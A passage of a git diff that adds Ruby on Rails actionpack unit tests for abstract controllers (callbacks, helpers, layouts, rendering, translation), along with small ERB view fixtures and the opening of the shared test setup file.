+ self.formats = [:html]
+ render
+ end
+ end
+
+ class TestPrefixedViews < ActiveSupport::TestCase
+ def setup
+ @controller = Me3.new
+ end
+
+ test "templates are located inside their 'prefix' folder" do
+ @controller.process(:index)
+ assert_equal "Hello from me3/index.erb", @controller.response_body
+ end
+
+ test "templates included their format" do
+ @controller.process(:formatted)
+ assert_equal "Hello from me3/formatted.html.erb", @controller.response_body
+ end
+ end
+
+ # Test rendering with layouts
+ # ====
+ # self._layout is used when defined
+ class WithLayouts < PrefixedViews
+ include AbstractController::Layouts
+
+ private
+ def self.layout(formats)
+ find_template(name.underscore, {:formats => formats}, :_prefixes => ["layouts"])
+ rescue ActionView::MissingTemplate
+ begin
+ find_template("application", {:formats => formats}, :_prefixes => ["layouts"])
+ rescue ActionView::MissingTemplate
+ end
+ end
+
+ def render_to_body(options = {})
+ options[:_layout] = options[:layout] || _default_layout({})
+ super
+ end
+ end
+
+ class Me4 < WithLayouts
+ def index
+ render
+ end
+ end
+
+ class TestLayouts < ActiveSupport::TestCase
+ test "layouts are included" do
+ controller = Me4.new
+ controller.process(:index)
+ assert_equal "Me4 Enter : Hello from me4/index.erb : Exit", controller.response_body
+ end
+ end
+
+ # respond_to_action?(action_name)
+ # ====
+ # * A method can be used as an action only if this method
+ # returns true when passed the method name as an argument
+ # * Defaults to true in AbstractController
+ class DefaultRespondToActionController < AbstractController::Base
+ def index() self.response_body = "success" end
+ end
+
+ class ActionMissingRespondToActionController < AbstractController::Base
+ # No actions
+ private
+ def action_missing(action_name)
+ self.response_body = "success"
+ end
+ end
+
+ class RespondToActionController < AbstractController::Base;
+ def index() self.response_body = "success" end
+
+ def fail() self.response_body = "fail" end
+
+ private
+
+ def method_for_action(action_name)
+ action_name.to_s != "fail" && action_name
+ end
+ end
+
+ class TestRespondToAction < ActiveSupport::TestCase
+
+ def assert_dispatch(klass, body = "success", action = :index)
+ controller = klass.new
+ controller.process(action)
+ assert_equal body, controller.response_body
+ end
+
+ test "an arbitrary method is available as an action by default" do
+ assert_dispatch DefaultRespondToActionController, "success", :index
+ end
+
+ test "raises ActionNotFound when method does not exist and action_missing is not defined" do
+ assert_raise(ActionNotFound) { DefaultRespondToActionController.new.process(:fail) }
+ end
+
+ test "dispatches to action_missing when method does not exist and action_missing is defined" do
+ assert_dispatch ActionMissingRespondToActionController, "success", :ohai
+ end
+
+ test "a method is available as an action if method_for_action returns true" do
+ assert_dispatch RespondToActionController, "success", :index
+ end
+
+ test "raises ActionNotFound if method is defined but method_for_action returns false" do
+ assert_raise(ActionNotFound) { RespondToActionController.new.process(:fail) }
+ end
+ end
+
+ class Me6 < AbstractController::Base
+ self.action_methods
+
+ def index
+ end
+ end
+
+ class TestActionMethodsReloading < ActiveSupport::TestCase
+
+ test "action_methods should be reloaded after defining a new method" do
+ assert_equal Set.new(["index"]), Me6.action_methods
+ end
+ end
+
+ end
+end
diff --git a/actionpack/test/abstract/callbacks_test.rb b/actionpack/test/abstract/callbacks_test.rb
new file mode 100644
index 0000000..8cba049
--- /dev/null
+++ b/actionpack/test/abstract/callbacks_test.rb
@@ -0,0 +1,315 @@
+require 'abstract_unit'
+
+module AbstractController
+ module Testing
+
+ class ControllerWithCallbacks < AbstractController::Base
+ include AbstractController::Callbacks
+ end
+
+ class Callback1 < ControllerWithCallbacks
+ set_callback :process_action, :before, :first
+
+ def first
+ @text = "Hello world"
+ end
+
+ def index
+ self.response_body = @text
+ end
+ end
+
+ class TestCallbacks1 < ActiveSupport::TestCase
+ test "basic callbacks work" do
+ controller = Callback1.new
+ controller.process(:index)
+ assert_equal "Hello world", controller.response_body
+ end
+ end
+
+ class Callback2 < ControllerWithCallbacks
+ before_action :first
+ after_action :second
+ around_action :aroundz
+
+ def first
+ @text = "Hello world"
+ end
+
+ def second
+ @second = "Goodbye"
+ end
+
+ def aroundz
+ @aroundz = "FIRST"
+ yield
+ @aroundz << "SECOND"
+ end
+
+ def index
+ @text ||= nil
+ self.response_body = @text.to_s
+ end
+ end
+
+ class Callback2Overwrite < Callback2
+ before_action :first, except: :index
+ end
+
+ class TestCallbacks2 < ActiveSupport::TestCase
+ def setup
+ @controller = Callback2.new
+ end
+
+ test "before_action works" do
+ @controller.process(:index)
+ assert_equal "Hello world", @controller.response_body
+ end
+
+ test "after_action works" do
+ @controller.process(:index)
+ assert_equal "Goodbye", @controller.instance_variable_get("@second")
+ end
+
+ test "around_action works" do
+ @controller.process(:index)
+ assert_equal "FIRSTSECOND", @controller.instance_variable_get("@aroundz")
+ end
+
+ test "before_action with overwritten condition" do
+ @controller = Callback2Overwrite.new
+ @controller.process(:index)
+ assert_equal "", @controller.response_body
+ end
+ end
+
+ class Callback3 < ControllerWithCallbacks
+ before_action do |c|
+ c.instance_variable_set("@text", "Hello world")
+ end
+
+ after_action do |c|
+ c.instance_variable_set("@second", "Goodbye")
+ end
+
+ def index
+ self.response_body = @text
+ end
+ end
+
+ class TestCallbacks3 < ActiveSupport::TestCase
+ def setup
+ @controller = Callback3.new
+ end
+
+ test "before_action works with procs" do
+ @controller.process(:index)
+ assert_equal "Hello world", @controller.response_body
+ end
+
+ test "after_action works with procs" do
+ @controller.process(:index)
+ assert_equal "Goodbye", @controller.instance_variable_get("@second")
+ end
+ end
+
+ class CallbacksWithConditions < ControllerWithCallbacks
+ before_action :list, :only => :index
+ before_action :authenticate, :except => :index
+
+ def index
+ self.response_body = @list.join(", ")
+ end
+
+ def sekrit_data
+ self.response_body = (@list + [@authenticated]).join(", ")
+ end
+
+ private
+ def list
+ @list = ["Hello", "World"]
+ end
+
+ def authenticate
+ @list ||= []
+ @authenticated = "true"
+ end
+ end
+
+ class TestCallbacksWithConditions < ActiveSupport::TestCase
+ def setup
+ @controller = CallbacksWithConditions.new
+ end
+
+ test "when :only is specified, a before action is triggered on that action" do
+ @controller.process(:index)
+ assert_equal "Hello, World", @controller.response_body
+ end
+
+ test "when :only is specified, a before action is not triggered on other actions" do
+ @controller.process(:sekrit_data)
+ assert_equal "true", @controller.response_body
+ end
+
+ test "when :except is specified, an after action is not triggered on that action" do
+ @controller.process(:index)
+ assert !@controller.instance_variable_defined?("@authenticated")
+ end
+ end
+
+ class CallbacksWithArrayConditions < ControllerWithCallbacks
+ before_action :list, only: [:index, :listy]
+ before_action :authenticate, except: [:index, :listy]
+
+ def index
+ self.response_body = @list.join(", ")
+ end
+
+ def sekrit_data
+ self.response_body = (@list + [@authenticated]).join(", ")
+ end
+
+ private
+ def list
+ @list = ["Hello", "World"]
+ end
+
+ def authenticate
+ @list = []
+ @authenticated = "true"
+ end
+ end
+
+ class TestCallbacksWithArrayConditions < ActiveSupport::TestCase
+ def setup
+ @controller = CallbacksWithArrayConditions.new
+ end
+
+ test "when :only is specified with an array, a before action is triggered on that action" do
+ @controller.process(:index)
+ assert_equal "Hello, World", @controller.response_body
+ end
+
+ test "when :only is specified with an array, a before action is not triggered on other actions" do
+ @controller.process(:sekrit_data)
+ assert_equal "true", @controller.response_body
+ end
+
+ test "when :except is specified with an array, an after action is not triggered on that action" do
+ @controller.process(:index)
+ assert !@controller.instance_variable_defined?("@authenticated")
+ end
+ end
+
+ class ChangedConditions < Callback2
+ before_action :first, :only => :index
+
+ def not_index
+ @text ||= nil
+ self.response_body = @text.to_s
+ end
+ end
+
+ class TestCallbacksWithChangedConditions < ActiveSupport::TestCase
+ def setup
+ @controller = ChangedConditions.new
+ end
+
+ test "when a callback is modified in a child with :only, it works for the :only action" do
+ @controller.process(:index)
+ assert_equal "Hello world", @controller.response_body
+ end
+
+ test "when a callback is modified in a child with :only, it does not work for other actions" do
+ @controller.process(:not_index)
+ assert_equal "", @controller.response_body
+ end
+ end
+
+ class SetsResponseBody < ControllerWithCallbacks
+ before_action :set_body
+
+ def index
+ self.response_body = "Fail"
+ end
+
+ def set_body
+ self.response_body = "Success"
+ end
+ end
+
+ class TestHalting < ActiveSupport::TestCase
+ test "when a callback sets the response body, the action should not be invoked" do
+ controller = SetsResponseBody.new
+ controller.process(:index)
+ assert_equal "Success", controller.response_body
+ end
+ end
+
+ class CallbacksWithArgs < ControllerWithCallbacks
+ set_callback :process_action, :before, :first
+
+ def first
+ @text = "Hello world"
+ end
+
+ def index(text)
+ self.response_body = @text + text
+ end
+ end
+
+ class TestCallbacksWithArgs < ActiveSupport::TestCase
+ test "callbacks still work when invoking process with multiple arguments" do
+ controller = CallbacksWithArgs.new
+ controller.process(:index, " Howdy!")
+ assert_equal "Hello world Howdy!", controller.response_body
+ end
+ end
+
+ class AliasedCallbacks < ControllerWithCallbacks
+ before_filter :first
+ after_filter :second
+ around_filter :aroundz
+
+ def first
+ @text = "Hello world"
+ end
+
+ def second
+ @second = "Goodbye"
+ end
+
+ def aroundz
+ @aroundz = "FIRST"
+ yield
+ @aroundz << "SECOND"
+ end
+
+ def index
+ @text ||= nil
+ self.response_body = @text.to_s
+ end
+ end
+
+ class TestAliasedCallbacks < ActiveSupport::TestCase
+ def setup
+ @controller = AliasedCallbacks.new
+ end
+
+ test "before_filter works" do
+ @controller.process(:index)
+ assert_equal "Hello world", @controller.response_body
+ end
+
+ test "after_filter works" do
+ @controller.process(:index)
+ assert_equal "Goodbye", @controller.instance_variable_get("@second")
+ end
+
+ test "around_filter works" do
+ @controller.process(:index)
+ assert_equal "FIRSTSECOND", @controller.instance_variable_get("@aroundz")
+ end
+ end
+ end
+end
diff --git a/actionpack/test/abstract/collector_test.rb b/actionpack/test/abstract/collector_test.rb
new file mode 100644
index 0000000..5709ad0
--- /dev/null
+++ b/actionpack/test/abstract/collector_test.rb
@@ -0,0 +1,57 @@
+require 'abstract_unit'
+
+module AbstractController
+ module Testing
+ class MyCollector
+ include AbstractController::Collector
+ attr_accessor :responses
+
+ def initialize
+ @responses = []
+ end
+
+ def custom(mime, *args, &block)
+ @responses << [mime, args, block]
+ end
+ end
+
+ class TestCollector < ActiveSupport::TestCase
+ test "responds to default mime types" do
+ collector = MyCollector.new
+ assert_respond_to collector, :html
+ assert_respond_to collector, :text
+ end
+
+ test "does not respond to unknown mime types" do
+ collector = MyCollector.new
+ assert !collector.respond_to?(:unknown)
+ end
+
+ test "register mime types on method missing" do
+ AbstractController::Collector.send(:remove_method, :js)
+ collector = MyCollector.new
+ assert !collector.respond_to?(:js)
+ collector.js
+ assert_respond_to collector, :js
+ end
+
+ test "does not register unknown mime types" do
+ collector = MyCollector.new
+ assert_raise NameError do
+ collector.unknown
+ end
+ end
+
+ test "generated methods call custom with arguments received" do
+ collector = MyCollector.new
+ collector.html
+ collector.text(:foo)
+ collector.js(:bar) { :baz }
+ assert_equal [Mime::HTML, [], nil], collector.responses[0]
+ assert_equal [Mime::TEXT, [:foo], nil], collector.responses[1]
+ assert_equal [Mime::JS, [:bar]], collector.responses[2][0,2]
+ assert_equal :baz, collector.responses[2][2].call
+ end
+ end
+ end
+end
diff --git a/actionpack/test/abstract/helper_test.rb b/actionpack/test/abstract/helper_test.rb
new file mode 100644
index 0000000..7960e5b
--- /dev/null
+++ b/actionpack/test/abstract/helper_test.rb
@@ -0,0 +1,101 @@
+require 'abstract_unit'
+
+ActionController::Base.helpers_path = File.expand_path('../../fixtures/helpers', __FILE__)
+
+module AbstractController
+ module Testing
+
+ class ControllerWithHelpers < AbstractController::Base
+ include AbstractController::Rendering
+ include AbstractController::Helpers
+
+ def with_module
+ render :inline => "Module <%= included_method %>"
+ end
+ end
+
+ module HelperyTest
+ def included_method
+ "Included"
+ end
+ end
+
+ class AbstractHelpers < ControllerWithHelpers
+ helper(HelperyTest) do
+ def helpery_test
+ "World"
+ end
+ end
+
+ helper :abc
+
+ def with_block
+ render :inline => "Hello <%= helpery_test %>"
+ end
+
+ def with_symbol
+ render :inline => "I respond to bare_a: <%= respond_to?(:bare_a) %>"
+ end
+ end
+
+ class ::HelperyTestController < AbstractHelpers
+ clear_helpers
+ end
+
+ class AbstractHelpersBlock < ControllerWithHelpers
+ helper do
+ include AbstractController::Testing::HelperyTest
+ end
+ end
+
+ class TestHelpers < ActiveSupport::TestCase
+ def setup
+ @controller = AbstractHelpers.new
+ end
+
+ def test_helpers_with_block
+ @controller.process(:with_block)
+ assert_equal "Hello World", @controller.response_body
+ end
+
+ def test_helpers_with_module
+ @controller.process(:with_module)
+ assert_equal "Module Included", @controller.response_body
+ end
+
+ def test_helpers_with_symbol
+ @controller.process(:with_symbol)
+ assert_equal "I respond to bare_a: true", @controller.response_body
+ end
+
+ def test_declare_missing_helper
+ AbstractHelpers.helper :missing
+ flunk "should have raised an exception"
+ rescue LoadError => e
+ assert_equal "helpers/missing_helper.rb", e.path
+ end
+
+ def test_helpers_with_module_through_block
+ @controller = AbstractHelpersBlock.new
+ @controller.process(:with_module)
+ assert_equal "Module Included", @controller.response_body
+ end
+ end
+
+ class ClearHelpersTest < ActiveSupport::TestCase
+ def setup
+ @controller = HelperyTestController.new
+ end
+
+ def test_clears_up_previous_helpers
+ @controller.process(:with_symbol)
+ assert_equal "I respond to bare_a: false", @controller.response_body
+ end
+
+ def test_includes_controller_default_helper
+ @controller.process(:with_block)
+ assert_equal "Hello Default", @controller.response_body
+ end
+ end
+ end
+end
diff --git a/actionpack/test/abstract/layouts_test.rb b/actionpack/test/abstract/layouts_test.rb
new file mode 100644
index 0000000..4a05c00
--- /dev/null
+++ b/actionpack/test/abstract/layouts_test.rb
@@ -0,0 +1,383 @@
+require 'abstract_unit'
+
+module AbstractControllerTests
+ module Layouts
+
+ # Base controller for these tests
+ class Base < AbstractController::Base
+ include AbstractController::Rendering
+ include AbstractController::Layouts
+
+ abstract!
+
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "layouts/hello.erb" => "With String <%= yield %>",
+ "layouts/hello_override.erb" => "With Override <%= yield %>",
+ "layouts/overwrite.erb" => "Overwrite <%= yield %>",
+ "layouts/with_false_layout.erb" => "False Layout <%= yield %>",
+ "abstract_controller_tests/layouts/with_string_implied_child.erb" =>
+ "With Implied <%= yield %>",
+ "abstract_controller_tests/layouts/with_grand_child_of_implied.erb" =>
+ "With Grand Child <%= yield %>"
+
+ )]
+ end
+
+ class Blank < Base
+ self.view_paths = []
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello blank!")
+ end
+ end
+
+ class WithString < Base
+ layout "hello"
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello string!")
+ end
+
+ def overwrite_default
+ render :template => ActionView::Template::Text.new("Hello string!"), :layout => :default
+ end
+
+ def overwrite_false
+ render :template => ActionView::Template::Text.new("Hello string!"), :layout => false
+ end
+
+ def overwrite_string
+ render :template => ActionView::Template::Text.new("Hello string!"), :layout => "overwrite"
+ end
+
+ def overwrite_skip
+ render :text => "Hello text!"
+ end
+ end
+
+ class WithStringChild < WithString
+ end
+
+ class WithStringOverriddenChild < WithString
+ layout "hello_override"
+ end
+
+ class WithStringImpliedChild < WithString
+ layout nil
+ end
+
+ class WithChildOfImplied < WithStringImpliedChild
+ end
+
+ class WithGrandChildOfImplied < WithStringImpliedChild
+ layout nil
+ end
+
+ class WithProc < Base
+ layout proc { "overwrite" }
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello proc!")
+ end
+ end
+
+ class WithProcReturningNil < Base
+ layout proc { nil }
+
+ def index
+ render template: ActionView::Template::Text.new("Hello nil!")
+ end
+ end
+
+ class WithZeroArityProc < Base
+ layout proc { "overwrite" }
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello zero arity proc!")
+ end
+ end
+
+ class WithProcInContextOfInstance < Base
+ def an_instance_method; end
+
+ layout proc {
+ break unless respond_to? :an_instance_method
+ "overwrite"
+ }
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello again zero arity proc!")
+ end
+ end
+
+ class WithSymbol < Base
+ layout :hello
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello symbol!")
+ end
+ private
+ def hello
+ "overwrite"
+ end
+ end
+
+ class WithSymbolReturningNil < Base
+ layout :nilz
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello nilz!")
+ end
+
+ def nilz() end
+ end
+
+ class WithSymbolReturningObj < Base
+ layout :objekt
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello nilz!")
+ end
+
+ def objekt
+ Object.new
+ end
+ end
+
+ class WithSymbolAndNoMethod < Base
+ layout :no_method
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello boom!")
+ end
+ end
+
+ class WithMissingLayout < Base
+ layout "missing"
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello missing!")
+ end
+ end
+
+ class WithFalseLayout < Base
+ layout false
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello false!")
+ end
+ end
+
+ class WithNilLayout < Base
+ layout nil
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello nil!")
+ end
+ end
+
+ class WithOnlyConditional < WithStringImpliedChild
+ layout "overwrite", :only => :show
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello index!")
+ end
+
+ def show
+ render :template => ActionView::Template::Text.new("Hello show!")
+ end
+ end
+
+ class WithExceptConditional < WithStringImpliedChild
+ layout "overwrite", :except => :show
+
+ def index
+ render :template => ActionView::Template::Text.new("Hello index!")
+ end
+
+ def show
+ render :template => ActionView::Template::Text.new("Hello show!")
+ end
+ end
+
+ class TestBase < ActiveSupport::TestCase
+ test "when no layout is specified, and no default is available, render without a layout" do
+ controller = Blank.new
+ controller.process(:index)
+ assert_equal "Hello blank!", controller.response_body
+ end
+
+ test "when layout is specified as a string, render with that layout" do
+ controller = WithString.new
+ controller.process(:index)
+ assert_equal "With String Hello string!", controller.response_body
+ end
+
+ test "when layout is overwriten by :default in render, render default layout" do
+ controller = WithString.new
+ controller.process(:overwrite_default)
+ assert_equal "With String Hello string!", controller.response_body
+ end
+
+ test "when layout is overwriten by string in render, render new layout" do
+ controller = WithString.new
+ controller.process(:overwrite_string)
+ assert_equal "Overwrite Hello string!", controller.response_body
+ end
+
+ test "when layout is overwriten by false in render, render no layout" do
+ controller = WithString.new
+ controller.process(:overwrite_false)
+ assert_equal "Hello string!", controller.response_body
+ end
+
+ test "when text is rendered, render no layout" do
+ controller = WithString.new
+ controller.process(:overwrite_skip)
+ assert_equal "Hello text!", controller.response_body
+ end
+
+ test "when layout is specified as a string, but the layout is missing, raise an exception" do
+ assert_raises(ActionView::MissingTemplate) { WithMissingLayout.new.process(:index) }
+ end
+
+ test "when layout is specified as false, do not use a layout" do
+ controller = WithFalseLayout.new
+ controller.process(:index)
+ assert_equal "Hello false!", controller.response_body
+ end
+
+ test "when layout is specified as nil, do not use a layout" do
+ controller = WithNilLayout.new
+ controller.process(:index)
+ assert_equal "Hello nil!", controller.response_body
+ end
+
+ test "when layout is specified as a proc, do not leak any methods into controller's action_methods" do
+ assert_equal Set.new(['index']), WithProc.action_methods
+ end
+
+ test "when layout is specified as a proc, call it and use the layout returned" do
+ controller = WithProc.new
+ controller.process(:index)
+ assert_equal "Overwrite Hello proc!", controller.response_body
+ end
+
+ test "when layout is specified as a proc and the proc retuns nil, don't use a layout" do
+ controller = WithProcReturningNil.new
+ controller.process(:index)
+ assert_equal "Hello nil!", controller.response_body
+ end
+
+ test "when layout is specified as a proc without parameters it works just the same" do
+ controller = WithZeroArityProc.new
+ controller.process(:index)
+ assert_equal "Overwrite Hello zero arity proc!", controller.response_body
+ end
+
+ test "when layout is specified as a proc without parameters the block is evaluated in the context of an instance" do
+ controller = WithProcInContextOfInstance.new
+ controller.process(:index)
+ assert_equal "Overwrite Hello again zero arity proc!", controller.response_body
+ end
+
+ test "when layout is specified as a symbol, call the requested method and use the layout returned" do
+ controller = WithSymbol.new
+ controller.process(:index)
+ assert_equal "Overwrite Hello symbol!", controller.response_body
+ end
+
+ test "when layout is specified as a symbol and the method returns nil, don't use a layout" do
+ controller = WithSymbolReturningNil.new
+ controller.process(:index)
+ assert_equal "Hello nilz!", controller.response_body
+ end
+
+ test "when the layout is specified as a symbol and the method doesn't exist, raise an exception" do
+ assert_raises(NameError) { WithSymbolAndNoMethod.new.process(:index) }
+ end
+
+ test "when the layout is specified as a symbol and the method returns something besides a string/false/nil, raise an exception" do
+ assert_raises(ArgumentError) { WithSymbolReturningObj.new.process(:index) }
+ end
+
+ test "when a child controller does not have a layout, use the parent controller layout" do
+ controller = WithStringChild.new
+ controller.process(:index)
+ assert_equal "With String Hello string!", controller.response_body
+ end
+
+ test "when a child controller has specified a layout, use that layout and not the parent controller layout" do
+ controller = WithStringOverriddenChild.new
+ controller.process(:index)
+ assert_equal "With Override Hello string!", controller.response_body
+ end
+
+ test "when a child controller has an implied layout, use that layout and not the parent controller layout" do
+ controller = WithStringImpliedChild.new
+ controller.process(:index)
+ assert_equal "With Implied Hello string!", controller.response_body
+ end
+
+ test "when a grandchild has no layout specified, the child has an implied layout, and the " \
+ "parent has specified a layout, use the child controller layout" do
+ controller = WithChildOfImplied.new
+ controller.process(:index)
+ assert_equal "With Implied Hello string!", controller.response_body
+ end
+
+ test "when a grandchild has nil layout specified, the child has an implied layout, and the " \
+ "parent has specified a layout, use the child controller layout" do
+ controller = WithGrandChildOfImplied.new
+ controller.process(:index)
+ assert_equal "With Grand Child Hello string!", controller.response_body
+ end
+
+ test "raises an exception when specifying layout true" do
+ assert_raises ArgumentError do
+ Object.class_eval do
+ class ::BadFailLayout < AbstractControllerTests::Layouts::Base
+ layout true
+ end
+ end
+ end
+ end
+
+ test "when specify an :only option which match current action name" do
+ controller = WithOnlyConditional.new
+ controller.process(:show)
+ assert_equal "Overwrite Hello show!", controller.response_body
+ end
+
+ test "when specify an :only option which does not match current action name" do
+ controller = WithOnlyConditional.new
+ controller.process(:index)
+ assert_equal "With Implied Hello index!", controller.response_body
+ end
+
+ test "when specify an :except option which match current action name" do
+ controller = WithExceptConditional.new
+ controller.process(:show)
+ assert_equal "With Implied Hello show!", controller.response_body
+ end
+
+ test "when specify an :except option which does not match current action name" do
+ controller = WithExceptConditional.new
+ controller.process(:index)
+ assert_equal "Overwrite Hello index!", controller.response_body
+ end
+
+ test "layout for anonymous controller" do
+ klass = Class.new(WithString) do
+ def index
+ render :text => 'index', :layout => true
+ end
+ end
+
+ controller = klass.new
+ controller.process(:index)
+ assert_equal "With String index", controller.response_body
+ end
+ end
+ end
+end
diff --git a/actionpack/test/abstract/render_test.rb b/actionpack/test/abstract/render_test.rb
new file mode 100644
index 0000000..b9293d1
--- /dev/null
+++ b/actionpack/test/abstract/render_test.rb
@@ -0,0 +1,102 @@
+require 'abstract_unit'
+
+module AbstractController
+ module Testing
+
+ class ControllerRenderer < AbstractController::Base
+ include AbstractController::Rendering
+
+ def _prefixes
+ %w[renderer]
+ end
+
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "template.erb" => "With Template",
+ "renderer/default.erb" => "With Default",
+ "renderer/string.erb" => "With String",
+ "renderer/symbol.erb" => "With Symbol",
+ "string/with_path.erb" => "With String With Path",
+ "some/file.erb" => "With File"
+ )]
+
+ def template
+ render :template => "template"
+ end
+
+ def file
+ render :file => "some/file"
+ end
+
+ def inline
+ render :inline => "With <%= :Inline %>"
+ end
+
+ def text
+ render :text => "With Text"
+ end
+
+ def default
+ render
+ end
+
+ def string
+ render "string"
+ end
+
+ def string_with_path
+ render "string/with_path"
+ end
+
+ def symbol
+ render :symbol
+ end
+ end
+
+ class TestRenderer < ActiveSupport::TestCase
+
+ def setup
+ @controller = ControllerRenderer.new
+ end
+
+ def test_render_template
+ @controller.process(:template)
+ assert_equal "With Template", @controller.response_body
+ end
+
+ def test_render_file
+ @controller.process(:file)
+ assert_equal "With File", @controller.response_body
+ end
+
+ def test_render_inline
+ @controller.process(:inline)
+ assert_equal "With Inline", @controller.response_body
+ end
+
+ def test_render_text
+ @controller.process(:text)
+ assert_equal "With Text", @controller.response_body
+ end
+
+ def test_render_default
+ @controller.process(:default)
+ assert_equal "With Default", @controller.response_body
+ end
+
+ def test_render_string
+ @controller.process(:string)
+ assert_equal "With String", @controller.response_body
+ end
+
+ def test_render_symbol
+ @controller.process(:symbol)
+ assert_equal "With Symbol", @controller.response_body
+ end
+
+ def test_render_string_with_path
+ @controller.process(:string_with_path)
+ assert_equal "With String With Path", @controller.response_body
+ end
+ end
+ end
+end
diff --git a/actionpack/test/abstract/translation_test.rb b/actionpack/test/abstract/translation_test.rb
new file mode 100644
index 0000000..4fdc480
--- /dev/null
+++ b/actionpack/test/abstract/translation_test.rb
@@ -0,0 +1,50 @@
+require 'abstract_unit'
+
+module AbstractController
+ module Testing
+ class TranslationController < AbstractController::Base
+ include AbstractController::Translation
+ end
+
+ class TranslationControllerTest < ActiveSupport::TestCase
+ def setup
+ @controller = TranslationController.new
+ end
+
+ def test_action_controller_base_responds_to_translate
+ assert_respond_to @controller, :translate
+ end
+
+ def test_action_controller_base_responds_to_t
+ assert_respond_to @controller, :t
+ end
+
+ def test_action_controller_base_responds_to_localize
+ assert_respond_to @controller, :localize
+ end
+
+ def test_action_controller_base_responds_to_l
+ assert_respond_to @controller, :l
+ end
+
+ def test_lazy_lookup
+ expected = 'bar'
+ @controller.stubs(action_name: :index)
+ I18n.stubs(:translate).with('abstract_controller.testing.translation.index.foo').returns(expected)
+ assert_equal expected, @controller.t('.foo')
+ end
+
+ def test_default_translation
+ key, expected = 'one.two', 'bar'
+ I18n.stubs(:translate).with(key).returns(expected)
+ assert_equal expected, @controller.t(key)
+ end
+
+ def test_localize
+ time, expected = Time.gm(2000), 'Sat, 01 Jan 2000 00:00:00 +0000'
+ I18n.stubs(:localize).with(time).returns(expected)
+ assert_equal expected, @controller.l(time)
+ end
+ end
+ end
+end
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me3/formatted.html.erb b/actionpack/test/abstract/views/abstract_controller/testing/me3/formatted.html.erb
new file mode 100644
index 0000000..785bf69
--- /dev/null
+++ b/actionpack/test/abstract/views/abstract_controller/testing/me3/formatted.html.erb
@@ -0,0 +1 @@
+Hello from me3/formatted.html.erb
\ No newline at end of file
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me3/index.erb b/actionpack/test/abstract/views/abstract_controller/testing/me3/index.erb
new file mode 100644
index 0000000..f079ad8
--- /dev/null
+++ b/actionpack/test/abstract/views/abstract_controller/testing/me3/index.erb
@@ -0,0 +1 @@
+Hello from me3/index.erb
\ No newline at end of file
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me4/index.erb b/actionpack/test/abstract/views/abstract_controller/testing/me4/index.erb
new file mode 100644
index 0000000..89dce12
--- /dev/null
+++ b/actionpack/test/abstract/views/abstract_controller/testing/me4/index.erb
@@ -0,0 +1 @@
+Hello from me4/index.erb
\ No newline at end of file
diff --git a/actionpack/test/abstract/views/abstract_controller/testing/me5/index.erb b/actionpack/test/abstract/views/abstract_controller/testing/me5/index.erb
new file mode 100644
index 0000000..84d0b74
--- /dev/null
+++ b/actionpack/test/abstract/views/abstract_controller/testing/me5/index.erb
@@ -0,0 +1 @@
+Hello from me5/index.erb
\ No newline at end of file
diff --git a/actionpack/test/abstract/views/action_with_ivars.erb b/actionpack/test/abstract/views/action_with_ivars.erb
new file mode 100644
index 0000000..8d8ae22
--- /dev/null
+++ b/actionpack/test/abstract/views/action_with_ivars.erb
@@ -0,0 +1 @@
+<%= @my_ivar %> from index_with_ivars.erb
\ No newline at end of file
diff --git a/actionpack/test/abstract/views/helper_test.erb b/actionpack/test/abstract/views/helper_test.erb
new file mode 100644
index 0000000..8ae45cc
--- /dev/null
+++ b/actionpack/test/abstract/views/helper_test.erb
@@ -0,0 +1 @@
+Hello <%= helpery_test %> : <%= included_method %>
\ No newline at end of file
diff --git a/actionpack/test/abstract/views/index.erb b/actionpack/test/abstract/views/index.erb
new file mode 100644
index 0000000..cc1a8b8
--- /dev/null
+++ b/actionpack/test/abstract/views/index.erb
@@ -0,0 +1 @@
+Hello from index.erb
\ No newline at end of file
diff --git a/actionpack/test/abstract/views/layouts/abstract_controller/testing/me4.erb b/actionpack/test/abstract/views/layouts/abstract_controller/testing/me4.erb
new file mode 100644
index 0000000..172dd56
--- /dev/null
+++ b/actionpack/test/abstract/views/layouts/abstract_controller/testing/me4.erb
@@ -0,0 +1 @@
+Me4 Enter : <%= yield %> : Exit
\ No newline at end of file
diff --git a/actionpack/test/abstract/views/layouts/application.erb b/actionpack/test/abstract/views/layouts/application.erb
new file mode 100644
index 0000000..2731714
--- /dev/null
+++ b/actionpack/test/abstract/views/layouts/application.erb
@@ -0,0 +1 @@
+Application Enter : <%= yield %> : Exit
\ No newline at end of file
diff --git a/actionpack/test/abstract/views/naked_render.erb b/actionpack/test/abstract/views/naked_render.erb
new file mode 100644
index 0000000..1b3d038
--- /dev/null
+++ b/actionpack/test/abstract/views/naked_render.erb
@@ -0,0 +1 @@
+Hello from naked_render.erb
\ No newline at end of file
diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb
new file mode 100644
index 0000000..8213997
--- /dev/null
+++ b/actionpack/test/abstract_unit.rb
@@ -0,0 +1,382 @@
+require File.expand_path('../../../load_paths', __FILE__)
+
+$:.unshift(File.dirname(__FILE__) + '/lib')
+$:.unshift(File.dirname(__FILE__) + '/fixtures/helpers')
+$:.unshift(File.dirname(__FILE__) + '/fixtures/alternate_helpers')
+
+ENV['TMPDIR'] = File.join(File.dirname(__FILE__), 'tmp')
+
+require 'active_support/core_ext/kernel/reporting'
+
+# These are the normal settings that will be set up by Railties
+# TODO: Have these tests support other combinations of these values
+silence_warnings do
+ Encoding.default_internal = "UTF-8"
+ Encoding.default_external = "UTF-8"
+end
+
+require 'active_support/testing/autorun'
+require 'abstract_controller'
+require 'action_controller'
+require 'action_view'
+require 'action_view/testing/resolvers'
+require 'action_dispatch'
+require 'active_support/dependencies'
+require 'active_model'
+require 'active_record'
+require 'action_controller/caching'
+
